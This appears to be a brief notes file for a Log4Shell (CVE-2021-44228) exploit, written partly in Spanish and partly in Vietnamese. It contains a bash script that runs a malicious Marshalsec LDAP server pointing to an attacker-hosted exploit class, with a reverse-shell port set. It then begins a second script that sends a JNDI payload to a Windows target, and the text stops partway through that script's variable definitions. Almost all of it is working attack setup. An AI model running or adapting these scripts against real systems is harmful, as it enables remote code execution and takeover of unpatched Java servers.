CVE-2021-44228-Log4Shell-

Pruebas de penetración

1. Crear un servidor LDAP malicioso (usando Marshalsec) #!/bin/bash

Script: start_ldap_server.sh

Yêu cầu: Cài đặt Java và Marshalsec (https://github.com/mbechler/marshalsec)

LDAP_PORT="1389" HTTP_PORT="8000" ATTACKER_IP="192.168.0.101" REVERSE_PORT="5555"

echo "[+] Khởi động LDAP server độc hại trên port $LDAP_PORT..." java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://$ATTACKER_IP:$HTTP_PORT/#Exploit" $LDAP_PORT

2. Enviar payload Log4Shell desde un servidor web comprometido

#!/bin/bash

Script: exploit_log4shell.sh

Objetivo: Enviar payload JNDI a la máquina Windows

TARGET_IP="192.168.1.10" ATTACKER_IP="192.168.0.101" LDAP_PORT="1389"